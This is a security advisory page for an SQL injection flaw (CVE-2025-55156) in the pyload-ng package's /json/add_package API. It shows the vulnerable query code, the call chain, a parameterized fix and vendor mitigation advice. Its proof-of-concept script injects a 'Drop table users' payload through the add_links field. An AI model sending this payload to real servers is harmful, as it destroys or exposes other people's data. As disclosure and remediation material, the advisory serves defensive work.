Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-pwh4-6r3m-j2rf

PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter

Also known asCVE-2025-55156
Published
Aug 12, 2025
Updated
Aug 12, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk22th percentile+0.24%
0.00%0.27%0.54%0.80%0.0%0.3%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍pyload-ng

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details

@style.queue
    def update_link_info(self, data):
        """
        data is list of tuples (name, size, status, url)
        """
        self.c.executemany(
            "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
            data,
        )
        ids = []
        statuses = "','".join(x[3] for x in data)
        self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
        for r in self.c:
            ids.append(int(r[0]))
        return ids

statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

  • Vulnerability Chain
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info

PoC

import requests


if __name__ == "__main__":
    url = "http://localhost:8000/json/add_package"
    data = {
        "add_name": "My Downloads1",
        "add_dest": "0",
        "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
        "add_password": "mypassword"
    }

    response = requests.post(url, cookies=your_cookies, data=data)
    print(response.status_code, response.text)
<img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />

Remediation

def update_link_info(self, data):
   """
data is list of tuples (name, size, status, url)
"""
   self.c.executemany(
       "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
       data,
   )
   
   # 提取所有url
   urls = [x[3] for x in data]
   
   # 构建参数化查询,避免SQL注入
   placeholders = ','.join(['?'] * len(urls))
   query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
   self.c.execute(query, urls)
   
   ids = [int(row[0]) for row in self.c.fetchall()]
   return ids

Impact

Attackers can modify or delete data in the database, causing data errors or loss.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpyload-ngall versions0.5.0b3.dev91

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update pyload-ng to 0.5.0b3.dev91 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pwh4-6r3m-j2rf is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-pwh4-6r3m-j2rf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-pwh4-6r3m-j2rf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage. ### Details - Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271 - Affected code: ```python @style.queue def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, )
O3 Security · Impact-Aware SCA

Is GHSA-pwh4-6r3m-j2rf in your dependencies?

O3 detects GHSA-pwh4-6r3m-j2rf across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.